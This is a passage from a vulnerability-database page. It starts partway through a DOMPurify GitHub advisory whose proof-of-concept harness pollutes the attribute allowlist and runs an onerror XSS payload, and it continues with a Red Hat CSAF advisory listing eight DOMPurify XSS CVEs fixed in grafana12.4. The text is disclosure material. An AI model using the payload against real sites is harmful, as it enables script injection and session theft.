});\nDOMPurify.addHook(\u0027uponSanitizeAttribute\u0027, (node, data) =\u003e {\n  if (node.getAttribute \u0026\u0026 node.getAttribute(\u0027data-trusted\u0027) === \u00271\u0027) data.allowedAttributes[\u0027onerror\u0027] = true;\n});\n\nDOMPurify.sanitize(\u0027\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"0\"\u003e\u0027);                 // one trusted render\nconst out = DOMPurify.sanitize(\u0027\u003cimg src=\"x\" onerror=\"alert(\\\u0027XSS:\\\u0027+document.domain)\"\u003e\u0027);  // attacker\nlog(\u0027attacker sanitized output: \u0027 + out);\nconst host = document.createElement(\u0027div\u0027);\nhost.innerHTML = out;                            // surviving onerror arms on the broken-src img\ndocument.body.appendChild(host);\n\nsetTimeout(() =\u003e {\n  log(\u0027handlers fired: \u0027 + JSON.stringify(window.__fired));\n  log(window.__fired.length ? \u0027RESULT: XSS EXECUTED\u0027 : \u0027RESULT: no execution\u0027);\n}, 500);\n\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\nObserved: `handlers fired: [\"alert:XSS:\u003cdomain\u003e\"]` \u2192 **RESULT: XSS EXECUTED** (no user interaction). The same harness without the `setConfig()` line strips `onerror` and does not fire.",
  "id": "GHSA-cmwh-pvxp-8882",
  "modified": "2026-07-23T13:58:32Z",
  "published": "2026-06-18T14:27:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/pull/1482"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/commit/011bc3b2fcc4be17aa76f9030e8668207717acb9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch)"
}

RHSA-2026:58500

Vulnerability from csaf_redhat - Published: 2026-08-22 14:02 - Updated: 2026-08-24 11:17

Summary

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Severity

Moderate

Notes

Topic: An update for Red Hat Hardened Images RPMs is now available.

Details: This update includes the following RPMs: grafana12.4: * grafana12.4-12.4.8-0.1.2.hum1 (aarch64, x86_64) * grafana12.4-12.4.8-0.1.2.hum1.src (src) Security Fix(es): grafana12.4: * CVE-2026-65898 * CVE-2026-65899 * CVE-2026-65901 * CVE-2026-65902 * CVE-2026-65911 * CVE-2026-65912 * CVE-2026-65913 * CVE-2026-65914

Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.

CVE-2026-65898

A flaw was found in DOMPurify. When the `setConfig()` function is used with an `uponSanitizeAttribute` hook, the `ALLOWED_ATTR` allowlist is not properly cloned. This allows an attacker to register a hook that can permanently modify the shared allowlist, enabling the conditional allowance of dangerous attributes. Consequently, an attacker can submit untrusted content that inherits the polluted allowlist, leading to stored Cross-site Scripting (XSS) and the execution of event handlers.

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@aarch64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@src	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@x86_64	—	Vendor Fix fix Workaround

Threats

Impact Moderate

CVE-2026-65899

A flaw was found in DOMPurify where the clearConfig() function does not properly reset the retained Trusted Types policy. This can lead to a DOMPurify instance, when reused across different security contexts, remaining bound to a previously supplied and potentially unsafe policy. An attacker could leverage this to execute malicious scripts, resulting in client-side arbitrary code execution.

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@aarch64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@src	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@x86_64	—	Vendor Fix fix Workaround

Threats

Impact Moderate

CVE-2026-65901

A flaw was found in DOMPurify. This cross-site scripting (XSS) vulnerability exists in IN_PLACE mode, where the software trusts attacker-controlled nodeName on live non-form nodes. A remote attacker can supply hostile live Document Object Model (DOM) objects with script children. These scripts can execute when the sanitized tree is inserted into a live document, potentially leading to information disclosure or arbitrary code execution.

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@aarch64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@src	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@x86_64	—	Vendor Fix fix Workaround

Threats

Impact Moderate

CVE-2026-65902

A flaw was found in DOMPurify. An attacker can exploit a vulnerability in how DOMPurify handles its sanitization hooks when default configurations are used. By manipulating the uponSanitizeElement or uponSanitizeAttribute hooks, an attacker can permanently alter the allowed HTML tags and attributes. This allows malicious content to bypass sanitization, potentially leading to cross-site scripting (XSS) attacks and compromising the integrity of web applications.

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@aarch64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@src	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@x86_64	—	Vendor Fix fix Workaround

Threats

Impact Moderate

CVE-2026-65911

A flaw was found in DOMPurify. This vulnerability allows a remote attacker to perform cross-site scripting (XSS) by exploiting a state leakage issue. Specifically, function predicates used for adding attributes or tags during sanitization can persist across multiple calls to the `sanitize()` function. This persistence can lead to the approval of attacker-controlled attributes or tags, bypassing security filters and enabling the execution of malicious scripts in a user's browser.

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@aarch64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@src	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@x86_64	—	Vendor Fix fix Workaround

Threats

Impact Moderate

CVE-2026-65912

A flaw was found in DOMPurify. An attacker can bypass URI validation by providing a specially crafted predicate function via EXTRA_ELEMENT_HANDLING.attributeCheck. This allows unsafe protocols, such as javascript:, to persist after sanitization, potentially leading to DOM-based cross-site scripting (XSS) when a user activates a malicious link.

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@aarch64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@src	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@x86_64	—	Vendor Fix fix Workaround

Threats

Impact Moderate

CVE-2026-65913

A flaw was found in DOMPurify. This prototype pollution vulnerability, specifically when operating in USE_PROFILES mode, allows a remote attacker to bypass attribute filtering. By manipulating Array.prototype properties, an attacker can cause DOMPurify to accept event handlers as allowed attributes, leading to DOM-based Cross-Site Scripting (XSS) when the sanitized markup is rendered. This could result in the execution of malicious scripts in the user's browser.

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@aarch64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@src	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@x86_64	—	Vendor Fix fix Workaround

Threats

Impact Moderate

CVE-2026-65914

A flaw was found in DOMPurify. This vulnerability, a type of Cross-Site Scripting (XSS), occurs when HTML that has been sanitized is reinserted into specific parsing contexts using innerHTML with certain HTML elements like `script` or `iframe`. An attacker can craft malicious input that, during re-parsing, can bypass the sanitization and execute arbitrary JavaScript code in the user's browser.

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@aarch64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@src	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Hardened Images:grafana12-4-main@x86_64	—	Vendor Fix fix Workaround

Threats

Impact Moderate

References

62 references

URL	Category
https://access.redhat.com/errata/RHSA-2026:58500	self
https://access.redhat.com/security/cve/CVE-2026-65898	external
https://access.redhat.com/security/cve/CVE-2026-65899	external
https://access.redhat.com/security/cve/CVE-2026-65901	external
https://access.redhat.com/security/cve/CVE-2026-65902	external
https://access.redhat.com/security/cve/CVE-2026-65911	external
https://access.redhat.com/security/cve/CVE-2026-65912	external
https://access.redhat.com/security/cve/CVE-2026-65913	external
https://access.redhat.com/security/cve/CVE-2026-65914	external
https://access.redhat.com/security/updates/classi…	external
https://images.redhat.com/	external
https://security.access.redhat.com/data/csaf/v2/a…	self
https://access.redhat.com/security/cve/CVE-2026-65898	self
https://bugzilla.redhat.com/show_bug.cgi?id=2506436	external
https://www.cve.org/CVERecord?id=CVE-2026-65898	external
https://nvd.nist.gov/vuln/detail/CVE-2026-65898	external
https://github.com/cure53/DOMPurify/security/advi…	external
https://www.vulncheck.com/advisories/dompurify-be…	external
https://access.redhat.com/security/cve/CVE-2026-65899	self
https://bugzilla.redhat.com/show_bug.cgi?id=2506428	external
https://www.cve.org/CVERecord?id=CVE-2026-65899	external
https://nvd.nist.gov/vuln/detail/CVE-2026-65899	external
https://github.com/cure53/DOMPurify/commit/825e61…	external
https://github.com/cure53/DOMPurify/security/advi…	external
https://www.vulncheck.com/advisories/dompurify-be…	external
https://access.redhat.com/security/cve/CVE-2026-65901	self
https://bugzilla.redhat.com/show_bug.cgi?id=2506432	external
https://www.cve.org/CVERecord?id=CVE-2026-65901	external
https://nvd.nist.gov/vuln/detail/CVE-2026-65901	external
https://github.com/cure53/DOMPurify/security/advi…	external
https://www.vulncheck.com/advisories/dompurify-cr…	external
https://access.redhat.com/security/cve/CVE-2026-65902	self
https://bugzilla.redhat.com/show_bug.cgi?id=2506431	external
https://www.cve.org/CVERecord?id=CVE-2026-65902	external
https://nvd.nist.gov/vuln/detail/CVE-2026-65902	external
https://github.com/cure53/DOMPurify/commit/7996f1…	external
https://github.com/cure53/DOMPurify/security/advi…	external
https://www.vulncheck.com/advisories/dompurify-be…	external
https://access.redhat.com/security/cve/CVE-2026-65911	self
https://bugzilla.redhat.com/show_bug.cgi?id=2506434	external
https://www.cve.org/CVERecord?id=CVE-2026-65911	external
https://nvd.nist.gov/vuln/detail/CVE-2026-65911	external
https://github.com/cure53/DOMPurify/security/advi…	external
https://www.vulncheck.com/advisories/dompurify-be…	external
https://access.redhat.com/security/cve/CVE-2026-65912	self
https://bugzilla.redhat.com/show_bug.cgi?id=2506427	external
https://www.cve.org/CVERecord?id=CVE-2026-65912	external
https://nvd.nist.gov/vuln/detail/CVE-2026-65912	external
https://github.com/cure53/DOMPurify/security/advi…	external
https://www.vulncheck.com/advisories/dompurify-be…	external
https://access.redhat.com/security/cve/CVE-2026-65913	self
https://bugzilla.redhat.com/show_bug.cgi?id=2506429	external
https://www.cve.org/CVERecord?id=CVE-2026-65913	external
https://nvd.nist.gov/vuln/detail/CVE-2026-65913	external
https://github.com/cure53/DOMPurify/security/advi…	external
https://www.vulncheck.com/advisories/dompurify-be…	external
https://access.redhat.com/security/cve/CVE-2026-65914	self
https://bugzilla.redhat.com/show_bug.cgi?id=2506430	external
https://www.cve.org/CVERecord?id=CVE-2026-65914	external
https://nvd.nist.gov/vuln/detail/CVE-2026-65914	external
https://github.com/cure53/DOMPurify/security/advi…	external
https://www.vulncheck.com/advisories/dompurify-be…	external

JSON

To clipboard

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://access.redhat.com/security/updates/classification/",
      "text": "Moderate"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "An update for Red Hat Hardened Images RPMs is now available.",
        "title": "Topic"
      },
      {
        "category": "general",
        "text": "This update includes the following RPMs:\n\ngrafana12.4:\n  * grafana12.4-12.4.8-0.1.2.hum1 (aarch64, x86_64)\n  * grafana12.4-12.4.8-0.1.2.hum1.src (src)\n\nSecurity Fix(es):\n\ngrafana12.4:\n  * CVE-2026-65898\n  * CVE-2026-65899\n  * CVE-2026-65901\n  * CVE-2026-65902\n  * CVE-2026-65911\n  * CVE-2026-65912\n  * CVE-2026-65913\n  * CVE-2026-65914",
        "title": "Details"
      },
      {
        "category": "legal_disclaimer",
        "text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
        "title": "Terms of Use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://access.redhat.com/security/team/contact/",
      "issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
      "name": "Red Hat Product Security",
      "namespace": "https://www.redhat.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "https://access.redhat.com/errata/RHSA-2026:58500",
        "url": "https://access.redhat.com/errata/RHSA-2026:58500"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-65898",
        "url": "https://access.redhat.com/security/cve/CVE-2026-65898"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-65899",
        "url": "https://access.redhat.com/security/cve/CVE-2026-65899"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-65901",
        "url": "https://access.redhat.com/security/cve/CVE-2026-65901"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-65902",
        "url": "https://access.redhat.com/security/cve/CVE-2026-65902"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-65911",
        "url": "https://access.redhat.com/security/cve/CVE-2026-65911"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-65912",
        "url": "https://access.redhat.com/security/cve/CVE-2026-65912"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-65913",
        "url": "https://access.redhat.com/security/cve/CVE-2026-65913"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-65914",
        "url": "https://access.redhat.com/security/cve/CVE-2026-65914"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/updates/classification/",
        "url": "https://access.redhat.com/security/updates/classification/"
      },
      {
        "category": "external",
        "summary": "https://images.redhat.com/",
        "url": "https://images.redhat.com/"
      },
      {
        "category": "self",
        "summary": "Canonical URL",
        "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_58500.json"
      }
    ],
    "title": "Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update",
    "tracking": {
      "current_release_date": "2026-08-24T11:17:32+00:00",
      "generator": {
        "date": "2026-08-24T11:17:32+00:00",
        "engine": {
          "name": "Red Hat SDEngine",
          "version": "5.3.16"
        }
      },
      "id": "RHSA-2026:58500",
      "initial_release_date": "2026-08-22T14:02:11+00:00",
      "revision_history": [
        {
          "date": "2026-08-22T14:02:11+00:00",
          "number": "1",
          "summary": "Initial version"
        },
        {
          "date": "2026-08-22T14:04:14+00:00",
          "number": "2",
          "summary": "Last updated version"
        },
        {
          "date": "2026-08-24T11:17:32+00:00",
          "number": "3",
          "summary": "Last generated version"
        }
      ],
      "status": "final",
      "version": "3"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_name",
                "name": "Red Hat Hardened Images",
                "product": {
                  "name": "Red Hat Hardened Images",
                  "product_id": "Red Hat Hardened Images",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:redhat:hummingbird:1"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "Red Hat Hardened Images"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "grafana12-4-main@aarch64",
                "product": {
                  "name": "grafana12-4-main@aarch64",
                  "product_id": "grafana12-4-main@aarch64",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/grafana12.4@12.4.8-0.1.2.hum1?arch=aarch64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-aarch64-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "aarch64"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "grafana12-4-main@src",
                "product": {
                  "name": "grafana12-4-main@src",
                  "product_id": "grafana12-4-main@src",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/grafana12.4@12.4.8-0.1.2.hum1?arch=src\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-source-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "src"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "grafana12-4-main@x86_64",
                "product": {
                  "name": "grafana12-4-main@x86_64",
                  "product_id": "grafana12-4-main@x86_64",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/grafana12.4@12.4.8-0.1.2.hum1?arch=x86_64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-x86_64-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "x86_64"
          }
        ],
        "category": "vendor",
        "name": "Red Hat"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "grafana12-4-main@aarch64 as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:grafana12-4-main@aarch64"
        },
        "product_reference": "grafana12-4-main@aarch64",
        "relates_to_product_reference": "Red Hat Hardened Images"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "grafana12-4-main@src as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:grafana12-4-main@src"
        },
        "product_reference": "grafana12-4-main@src",
        "relates_to_product_reference": "Red Hat Hardened Images"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "grafana12-4-main@x86_64 as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:grafana12-4-main@x86_64"
        },
        "product_reference": "grafana12-4-main@x86_64",
        "relates_to_product_reference": "Red Hat Hardened Images"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-65898",
      "cwe": {
        "id": "CWE-79",
        "name": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
      },
      "discovery_date": "2026-07-23T14:01:36.457690+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2506436"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in DOMPurify. When the `setConfig()` function is used with an `uponSanitizeAttribute` hook, the `ALLOWED_ATTR` allowlist is not properly cloned. This allows an attacker to register a hook that can permanently modify the shared allowlist, enabling the conditional allowance of dangerous attributes. Consequently, an attacker can submit untrusted content that inherits the polluted allowlist, leading to stored Cross-site Scripting (XSS) and the execution of event handlers.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "dompurify: DOMPurify: Cross-site scripting via permanent attribute allowlist pollution",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This vulnerability in DOMPurify allows for cross-site scripting due to improper handling of the `ALLOWED_ATTR` allowlist. When the `setConfig()` function is used with an `uponSanitizeAttribute` hook, the allowlist can be permanently mutated, enabling attackers to inject dangerous attributes and execute stored XSS.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana12-4-main@aarch64",
          "Red Hat Hardened Images:grafana12-4-main@src",
          "Red Hat Hardened Images:grafana12-4-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-65898"
        },
        {
          "category": "external",
          "summary": "RHBZ#2506436",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506436"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-65898",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65898"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-65898",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65898"
        },
        {
          "category": "external",
          "summary": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882",
          "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/dompurify-before-permanent-attribute-allowlist-pollution-via-setconfig",
          "url": "https://www.vulncheck.com/advisories/dompurify-before-permanent-attribute-allowlist-pollution-via-setconfig"
        }
      ],
      "release_date": "2026-07-23T13:16:17.715000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-22T14:02:11+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:58500"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.4,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "dompurify: DOMPurify: Cross-site scripting via permanent attribute allowlist pollution"
    },
    {
      "cve": "CVE-2026-65899",
      "cwe": {
        "id": "CWE-79",
        "name": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
      },
      "discovery_date": "2026-07-23T14:01:09.534995+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2506428"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in DOMPurify where the clearConfig() function does not properly reset the retained Trusted Types policy. This can lead to a DOMPurify instance, when reused across different security contexts, remaining bound to a previously supplied and potentially unsafe policy. An attacker could leverage this to execute malicious scripts, resulting in client-side arbitrary code execution.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "dompurify: DOMPurify: Client-side arbitrary code execution due to improper Trusted Types policy reset",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This flaw in DOMPurify, concerning improper Trusted Types policy reset, could lead to client-side arbitrary code execution. However, Red Hat products are not affected by this vulnerability, as indicated by the delegated resolution for the `ruff` component within Red Hat Hard Hat Images.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana12-4-main@aarch64",
          "Red Hat Hardened Images:grafana12-4-main@src",
          "Red Hat Hardened Images:grafana12-4-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-65899"
        },
        {
          "category": "external",
          "summary": "RHBZ#2506428",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506428"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-65899",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65899"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-65899",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65899"
        },
        {
          "category": "external",
          "summary": "https://github.com/cure53/DOMPurify/commit/825e617753ac1169306a542d3174a77f717a0cf6",
          "url": "https://github.com/cure53/DOMPurify/commit/825e617753ac1169306a542d3174a77f717a0cf6"
        },
        {
          "category": "external",
          "summary": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-vxr8-fq34-vvx9",
          "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-vxr8-fq34-vvx9"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/dompurify-before-trusted-types-policy-state-contamination",
          "url": "https://www.vulncheck.com/advisories/dompurify-before-trusted-types-policy-state-contamination"
        }
      ],
      "release_date": "2026-07-23T13:16:18.389000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-22T14:02:11+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:58500"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "dompurify: DOMPurify: Client-side arbitrary code execution due to improper Trusted Types policy reset"
    },
    {
      "cve": "CVE-2026-65901",
      "cwe": {
        "id": "CWE-79",
        "name": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
      },
      "discovery_date": "2026-07-23T14:01:23.186814+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2506432"
        }
      ],
      "notes": [
        {
          "category": "description",
